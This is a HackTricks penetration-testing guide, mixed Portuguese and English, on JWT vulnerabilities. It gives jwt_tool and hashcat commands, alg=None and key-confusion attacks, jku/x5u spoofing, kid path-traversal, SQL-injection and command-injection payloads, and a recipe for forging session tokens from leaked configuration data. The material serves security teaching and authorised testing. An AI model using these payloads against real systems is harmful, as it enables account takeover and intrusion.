Vulnerabilidades JWT (Json Web Tokens)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Parte deste post é baseada no excelente post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor da excelente ferramenta para pentest JWTs https://github.com/ticarpi/jwt_tool

Resultados Rápidos

Rode jwt_tool com o modo All Tests! e aguarde as linhas verdes

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web está verificando incorretamente o JWT:

Em seguida, você pode procurar a requisição no seu proxy ou extrair o JWT usado para essa requisição usando a ferramenta jwt_:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Fluxo prático de avaliação de JWT

  • Scope the session control: Escolha uma requisição específica do usuário (por exemplo, profile, billing). Remova cookies/headers um a um até que a requisição seja rejeitada para isolar qual(is) token(s) realmente controlam a autorização.
  • Locate JWTs in traffic: Eles geralmente ficam em Authorization: Bearer <JWT>, mas também aparecem em custom headers ou cookies. Se o Burp não os destacar, use Target → Site map → Engagement tools → Search com padrões regex como:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decode and enumerate: Use Burp JWT Editor or python3 jwt_tool.py <JWT> para ler header/payload. Observe alg, exp/duração do token, e claims que dirigem authn/authz (role, id, username, email, etc.).
  • Signature enforcement sanity check: Inverta ou delete alguns bytes na parte da signature e envie novamente. Se for aceito, implica ausência de validação da signature e você pode tamper nos payload claims diretamente.
  • Goal: Modificar payload claims para escalar privilégios; cada ataque abaixo visa fazer o servidor aceitar um tampered payload abusando de verificação fraca, segredos fracos, ou seleção de chave insegura.

Tamper data without modifying anything

Você pode apenas tamper nos dados deixando a signature como está e verificar se o servidor está checando a signature. Tente mudar seu username para “admin”, por exemplo.

O token é verificado?

  • Uma mensagem de erro sugere que há verificação em andamento; detalhes sensíveis em erros verbosos devem ser analisados.
  • Uma mudança na página retornada também indica verificação.
  • Nenhuma mudança sugere ausência de verificação; é nesse momento que se deve experimentar tampering payload claims.

Origem

  • Tokens vistos inicialmente no lado do cliente sugerem que a key pode estar exposta ao código client-side, exigindo investigação adicional.
  • Tokens originados server-side indicam um processo mais seguro.

Duração

Verifique se o token dura mais de 24h… talvez nunca expire. Se houver um campo exp, verifique se o servidor está lidando corretamente com ele.

Brute-force HMAC secret

See this page.

If the header uses HS256, dump the token to a file and try offline cracking:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Uma vez que o segredo for recuperado, carregue-o como uma chave simétrica no Burp JWT Editor e re-assine as claims modificadas.

Derivar segredos JWT a partir de leaked config + DB data

Se uma leitura arbitrária de arquivo (ou backup leak) expuser tanto material de criptografia da aplicação quanto registros de usuário, às vezes você pode recriar o segredo de assinatura do JWT e forjar cookies de sessão sem conhecer nenhuma senha em texto claro. Padrão de exemplo observado em stacks de automação de workflow:

  1. Leak the app key (e.g., encryptionKey) from a config file.
  2. Leak the user table to obtain email, password_hash, and user_id.
  3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Insira o token assinado no cookie de sessão (por exemplo, n8n-auth) para impersonar a conta de usuário/admin mesmo que o password hash esteja salted.

Modificar o algoritmo para None

Defina o algoritmo usado como “None” e remova a parte da assinatura.

Use a extensão do Burp chamada “JSON Web Token” para testar essa vulnerabilidade e alterar diferentes valores dentro do JWT (envie a requisição para o Repeater e, na aba “JSON Web Token”, você pode modificar os valores do token. Você também pode selecionar colocar o valor do campo “Alg” para “None”).

Mudar o algoritmo RS256(asymmetric) para HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.

Se você mudar o algoritmo de RS256 para HS256, o código do back end usa a chave pública como chave secreta e então utiliza o algoritmo HS256 para verificar a assinatura.

Então, usando a chave pública e alterando RS256 para HS256, podemos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando isto:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

Nova chave pública no cabeçalho

Um atacante embute uma nova chave no cabeçalho do token e o servidor usa essa nova chave para verificar a assinatura (CVE-2018-0114).

Isso pode ser feito com a extensão “JSON Web Tokens” do Burp.
(Envie a requisição para o Repeater, dentro da aba JSON Web Token selecione “CVE-2018-0114” e envie a requisição).

JWKS Spoofing

As instruções descrevem um método para avaliar a segurança de tokens JWT, particularmente aqueles que usam a claim de cabeçalho “jku”. Essa claim deve apontar para um arquivo JWKS (JSON Web Key Set) que contém a chave pública necessária para a verificação do token.

  • Avaliação de Tokens com “jku” Header:

  • Verifique a URL da claim “jku” para garantir que ela aponta para o arquivo JWKS apropriado.

  • Modifique o valor “jku” do token para direcionar a um serviço web controlado, permitindo a observação do tráfego.

  • Monitoramento de Interação HTTP:

  • Observar requisições HTTP para a URL especificada indica tentativas do servidor de buscar chaves no link fornecido.

  • Ao usar jwt_tool para esse processo, é crucial atualizar o arquivo jwtconf.ini com a localização do seu JWKS para facilitar os testes.

  • Command for jwt_tool:

  • Execute o seguinte comando para simular o cenário com jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Visão geral de problemas com kid

Uma claim de cabeçalho opcional conhecida como kid é utilizada para identificar uma chave específica, o que se torna particularmente importante em ambientes onde existem múltiplas chaves para verificação de assinatura do token. Essa claim ajuda a selecionar a chave apropriada para verificar a assinatura do token.

Revelando a chave através do kid

Quando a claim kid estiver presente no cabeçalho, é recomendado pesquisar no diretório web pelo arquivo correspondente ou suas variações. Por exemplo, se "kid":"key/12345" for especificado, deve-se procurar pelos arquivos /key/12345 e /key/12345.pem na raiz web.

Path Traversal with kid

A claim kid também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar conectividade ou executar ataques Server-Side Request Forgery (SSRF) alterando o valor kid para direcionar a arquivos ou serviços específicos. Manipular o JWT para alterar o valor kid enquanto se mantém a assinatura original pode ser conseguido usando a flag -T no jwt_tool, como demonstrado abaixo:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo /proc/sys/kernel/randomize_va_space em sistemas Linux, conhecido por conter o valor 2, pode ser usado no parâmetro kid com 2 como senha simétrica para geração do JWT.

A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK k set to AA==, set kid to a traversal like ../../../../../../../dev/null, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.

Um padrão prático para carregamento de chaves frágeis no sistema de arquivos é gerar uma chave HS256 com o JWK k definido como AA==, definir kid para uma traversal como ../../../../../../../dev/null e re-assinar — algumas implementações tratam o arquivo vazio como um segredo HMAC válido e aceitarão tokens forjados.

SQL Injection via “kid”

If the kid claim’s content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

Se o conteúdo da claim kid for usado para buscar uma senha em um banco de dados, uma SQL injection pode ser facilitada ao modificar o payload do kid. Um payload de exemplo que usa SQL injection para alterar o processo de assinatura do JWT inclui:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Essa alteração força o uso de uma chave secreta conhecida, ATTACKER, para a assinatura do JWT.

OS Injection through “kid”

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it’s possible to expose private keys. An example payload for achieving RCE and key exposure is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

Um cenário em que o parâmetro kid especifica um caminho de arquivo usado em um contexto de execução de comandos pode levar a vulnerabilidades de Remote Code Execution (RCE). Ao injetar comandos no parâmetro kid, é possível expor chaves privadas. Um payload de exemplo para obter RCE e exposição de chaves é:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

jku significa JWK Set URL.
Se o token usa a claim jku no Header, então verifique a URL fornecida. Ela deve apontar para uma URL contendo o arquivo JWKS que contém a Public Key para verificar o token. Manipule o token para apontar o valor jku para um serviço web onde você possa monitorar o tráfego.

First you need to create a new certificate with new private & public keys

Primeiro você precisa criar um novo certificado com novas private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Em seguida, você pode usar por exemplo jwt.io para criar o novo JWT com as chaves pública e privada criadas e apontando o parâmetro jku para o certificado criado. Para criar um certificado jku válido você pode baixar o original e alterar os parâmetros necessários.

Você pode obter os parâmetros “e” e “n” de um certificado público usando:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Se o verificador buscar material de chave remotamente, embed uma Burp Collaborator URL em jku/x5u usando JWT Editor → Attack → Embed Collaborator payload. Any callback confirma SSRF-style key retrieval; então hospede seu próprio JWKS/PEM nessa URL e re-assine com sua chave privada para que o serviço valide attacker-minted tokens.

x5u

X.509 URL. Uma URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em PEM. O primeiro certificado no conjunto deve ser o que foi usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido na RFC 52807. Segurança de transporte é necessária para transferir os certificados.

Tente mudar este header para uma URL sob seu controle e verifique se alguma request é recebida. Nesse caso você poderia tamper o JWT.

Para forjar um novo token usando um certificado controlado por você, você precisa criar o certificado e extrair as chaves pública e privada:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.

You can also abuse both of these vulns for SSRFs.

x5c

This parameter may contain the certificate in base64:

If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Chave Pública Embutida (CVE-2018-0114)

Se o JWT tiver embutido uma chave pública como no seguinte cenário:

Usando o seguinte script nodejs, é possível gerar uma chave pública a partir desses dados:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

É possível gerar uma nova chave privada/pública, embutir a nova chave pública dentro do token e usá-la para gerar uma nova assinatura:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Você pode obter o “n” e o “e” usando este script nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.

ES256: Revelando a chave privada com o mesmo nonce

If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

A claim JTI (JWT ID) fornece um identificador único para um token JWT. Pode ser usado para impedir o replay do token.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

JWT Registered claims

JSON Web Token (JWT)

Outros ataques

Cross-service Relay Attacks

It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.

  • A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.

Expiry Check of Tokens

A expiração do token é verificada usando a claim “exp” do Payload. Dado que JWTs são frequentemente usados sem informação de sessão, é necessário cuidado. Em muitos casos, capturar e reproduzir o JWT de outro usuário pode permitir a personificação desse usuário. O JWT RFC recomenda mitigar ataques de replay em JWTs utilizando a claim “exp” para definir um tempo de expiração para o token. Além disso, é crucial que a aplicação implemente as verificações necessárias para processar este valor e rejeitar tokens expirados. Se o token incluir a claim “exp” e os limites de tempo de teste permitirem, recomenda-se armazenar o token e reproduzi-lo após o tempo de expiração. O conteúdo do token, incluindo parsing de timestamps e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R do jwt_tool.

  • Pode haver um risco de segurança se a aplicação ainda validar o token, pois isso pode implicar que o token nunca expira.

Ferramentas

  • jwt_tool – decodificação, tampering de claim/header, offline secret cracking (-C) e modos de ataque semi-automatizados (-M at).
  • Burp JWT Editor – decodificar/re-assinar no Repeater, gerar chaves customizadas e executar ataques embutidos (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – HS256 secret cracking acelerado por GPU após exportar JWTs para uma wordlist.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks